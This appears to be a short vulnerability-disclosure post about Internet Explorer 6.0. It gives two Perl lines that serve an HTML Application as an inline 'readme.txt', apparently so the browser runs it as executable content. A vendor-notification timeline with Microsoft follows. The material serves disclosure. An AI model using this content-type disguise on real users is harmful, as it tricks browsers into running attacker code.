A modification in perl which don't need playing with 200 is:

print "Content-type: application/hta\n";
print "Content-disposition: inline; filename=\"readme.txt\"\n";

This works on the so called "patched" IE 6.0.
Vendor status:
microsoft was informed on 15.December.2001.
2 days later they pretended they have not received the perl attachment
I sent to them and also cc'ed to myself (and sure, I received my attachment).
Have not heard from them since then.
